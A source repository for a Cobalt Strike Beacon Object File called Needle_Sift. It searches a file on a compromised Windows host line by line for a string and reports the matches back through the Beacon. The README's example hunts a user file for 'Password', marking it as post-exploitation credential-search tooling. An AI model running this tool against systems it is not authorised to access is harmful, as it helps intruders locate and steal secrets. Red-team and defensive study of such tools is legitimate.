├── dist ├── needle_sift.x64.o └── needlesift.cna ├── src ├── Makefile ├── headers │ ├── win32_api.h │ └── beacon.h └── main.c └── README.md /dist/needle_sift.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EspressoCake/Needle_Sift_BOF/HEAD/dist/needle_sift.x64.o -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := needle_sift 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | 4 | all: 5 | $(CC_x64) -Wno-unused-variable -o ../dist/$(BOFNAME).x64.o -c main.c -masm=intel 6 | 7 | clean: 8 | rm -f ../dist/$(BOFNAME).x64.o 9 | -------------------------------------------------------------------------------- /dist/needlesift.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "needle_sift", 3 | "Search a file, line by line, for a relevant string's existence.", 4 | "Synopsis: needle_sift path_to_filename string_to_search"); 5 | 6 | alias needle_sift { 7 | local('$handle $args $data'); 8 | 9 | $handle = openf(script_resource("needle_sift.x64.o")); 10 | $data = readb($handle, -1); 11 | closef($handle); 12 | 13 | if ( size(@_) != 3 ) { 14 | println("Not enough arguments:"); 15 | println(@_); 16 | 17 | return; 18 | } else { 19 | println(@_); 20 | } 21 | 22 | $args = bof_pack($1, "zz", $2, $3); 23 | 24 | beacon_inline_execute($1, $data, "go", $args); 25 | } -------------------------------------------------------------------------------- /src/headers/win32_api.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | WINBASEAPI int WINAPI KERNEL32$lstrlenW (LPCWSTR lpString); 7 | WINBASEAPI int __cdecl MSVCRT$fclose (FILE *fStream); 8 | WINBASEAPI errno_t __cdecl MSVCRT$fopen_s (FILE **fStream, const char* _fName, const char *_Mode); 9 | WINBASEAPI int __cdecl MSVCRT$fseek (FILE *fStream, long _Offset, int _Origin); 10 | WINBASEAPI long __cdecl MSVCRT$ftell (FILE *fStream); 11 | WINBASEAPI int __cdecl MSVCRT$getc (FILE *fStream); 12 | WINBASEAPI long __cdecl MSVCRT$rewind (FILE *fStream); 13 | WINBASEAPI char* __cdecl MSVCRT$strstr (char* _String, const char* _SubString); 14 | WINBASEAPI void* __cdecl MSVCRT$memset (void* _Dst, int _Val, size_t Size); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Needle_Sift_BOF 2 | 3 | ## What is this? 4 | Strstr with user-supplied needle and filename as a BOF. 5 | 6 | ## Why? 7 | Why not? Supply what you want, and don't worry about downloading an entire file that may/may not have what you're looking for. 8 | 9 | ## How do I run this? 10 | 1. In this case, you have two options: 11 | 1. Use the existing, compiled object file, located in the `dist` directory (AKA proceed to major step two) 12 | 2. Compile from source via the `Makefile` 13 | 1. `cd src` 14 | 2. `make clean` 15 | 3. `make` 16 | 2. Load the `Aggressor` file, in the `Script Manager`, located in the `dist` directory 17 | 3. Within a provided `Beacon`, `beacon> needle_sift PATH_TO_FILE_OF_INTEREST STRING_TO_SEARCH_FOR` (e.g. `needle_sift C:\Users\User\sensitive_file.txt Password`) 18 | 19 | ## Any known downsides? 20 | - We're still using the `Win32` API and `Dynamic Function Resolution`. This is for you to determine as far as "risk" 21 | - There's a user-defined cap on what we want the total length of a line to be. (I didn't want to do anything with a heap allocation, and favored some semblance of stability) 22 | - This is currently *case-sensitive* as I didn't come across a more agnostic solution 23 | -------------------------------------------------------------------------------- /src/headers/beacon.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct { 4 | char * original; /* the original buffer [so we can free it] */ 5 | char * buffer; /* current pointer into our buffer */ 6 | int length; /* remaining length of data */ 7 | int size; /* total size of this buffer */ 8 | } datap; 9 | 10 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 11 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 12 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 13 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 14 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 15 | 16 | /* format API */ 17 | typedef struct { 18 | char * original; /* the original buffer [so we can free it] */ 19 | char * buffer; /* current pointer into our buffer */ 20 | int length; /* remaining length of data */ 21 | int size; /* total size of this buffer */ 22 | } formatp; 23 | 24 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 25 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 26 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 27 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 28 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 29 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 30 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 31 | 32 | /* Output Functions */ 33 | #define CALLBACK_OUTPUT 0x0 34 | #define CALLBACK_OUTPUT_OEM 0x1e 35 | #define CALLBACK_ERROR 0x0d 36 | #define CALLBACK_OUTPUT_UTF8 0x20 37 | 38 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 39 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 40 | 41 | /* Token Functions */ 42 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 43 | DECLSPEC_IMPORT void BeaconRevertToken(); 44 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 45 | 46 | /* Spawn+Inject Functions */ 47 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 48 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 49 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 50 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 51 | 52 | /* Utility Functions */ 53 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "headers/beacon.h" 3 | #include "headers/win32_api.h" 4 | 5 | ///////////////// 6 | // Definitions // 7 | ///////////////// 8 | #define CURRENT_LINESIZE_MAX_NO_HEAP 2048 9 | 10 | ////////////////////// 11 | // Local Prototypes // 12 | ////////////////////// 13 | ssize_t FetchUntilNewlineOrBufferEnd(FILE* stream, char* buf, size_t size); 14 | int SearchForNewlinesWithNeedle(char* filename, char* cNeedle); 15 | 16 | 17 | ////////////////////// 18 | // Implementations // 19 | ///////////////////// 20 | ssize_t FetchUntilNewlineOrBufferEnd(FILE* stream, char* buf, size_t size) { 21 | if (size == 0) { 22 | return 0; 23 | } 24 | 25 | size_t count; 26 | int c = 0; 27 | 28 | for (count = 0; c != '\n' && count < size - 1; count++) { 29 | c = MSVCRT$getc(stream); 30 | 31 | if (c == EOF) { 32 | if (count == 0) { 33 | return -1; 34 | } 35 | break; 36 | } 37 | 38 | buf[count] = (char)c; 39 | } 40 | 41 | buf[count] = '\0'; 42 | 43 | return (ssize_t)count; 44 | } 45 | 46 | 47 | int SearchForNewlinesWithNeedle(char* filename, char* cNeedle) { 48 | FILE* fpFilePointer = NULL; 49 | long iFileSize = 0; 50 | char currentBuff[CURRENT_LINESIZE_MAX_NO_HEAP] = { 0 }; 51 | ssize_t ssIndex = 0; 52 | 53 | MSVCRT$fopen_s(&fpFilePointer, filename, "r"); 54 | if ( fpFilePointer == NULL ) { 55 | BeaconPrintf(CALLBACK_ERROR, "Unable to open the desired file for reading: %s\n", filename); 56 | return EXIT_FAILURE; 57 | } 58 | 59 | MSVCRT$fseek(fpFilePointer, 0L, SEEK_END); 60 | iFileSize = MSVCRT$ftell(fpFilePointer); 61 | MSVCRT$rewind(fpFilePointer); 62 | 63 | BeaconPrintf(CALLBACK_OUTPUT, "Current file size: %lu\n", iFileSize); 64 | 65 | ssize_t count = 0; 66 | long fTellIndex = 0; 67 | 68 | while (fTellIndex < iFileSize) { 69 | fTellIndex = MSVCRT$ftell(fpFilePointer); 70 | if (fTellIndex == EOF) { 71 | break; 72 | } 73 | 74 | MSVCRT$memset(currentBuff, 0, sizeof(currentBuff)); 75 | 76 | count = FetchUntilNewlineOrBufferEnd(fpFilePointer, currentBuff, CURRENT_LINESIZE_MAX_NO_HEAP); 77 | 78 | if (count && count <= CURRENT_LINESIZE_MAX_NO_HEAP && fTellIndex < iFileSize) { 79 | char* pch = NULL; 80 | pch = MSVCRT$strstr(currentBuff, cNeedle); 81 | 82 | if (pch != NULL) { 83 | BeaconPrintf(CALLBACK_OUTPUT, "Current needle found: %s\n", pch); 84 | } 85 | } 86 | else { 87 | break; 88 | } 89 | } 90 | 91 | if (fpFilePointer) { 92 | MSVCRT$fclose(fpFilePointer); 93 | } 94 | } 95 | 96 | 97 | void go (char* args, int len) { 98 | datap parser; 99 | char *cFileName = NULL; 100 | char *cNeedle = NULL; 101 | 102 | LPCWSTR lpDBanner = L"-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-\n" 103 | L"| String Sifter |\n" 104 | L"-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-\n" 105 | L"| By: |\n" 106 | L"| @the_bit_diddler |\n" 107 | L"-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-\n"; 108 | 109 | BeaconPrintf(CALLBACK_OUTPUT, "%ls\n", (wchar_t*)lpDBanner); 110 | 111 | BeaconDataParse(&parser, args, len); 112 | 113 | cFileName = BeaconDataExtract(&parser, NULL); 114 | cNeedle = BeaconDataExtract(&parser, NULL); 115 | 116 | BeaconPrintf(CALLBACK_OUTPUT, "Current filename: %s\n", cFileName); 117 | BeaconPrintf(CALLBACK_OUTPUT, "Current needle: %s\n", cNeedle); 118 | 119 | SearchForNewlinesWithNeedle(cFileName, cNeedle); 120 | } --------------------------------------------------------------------------------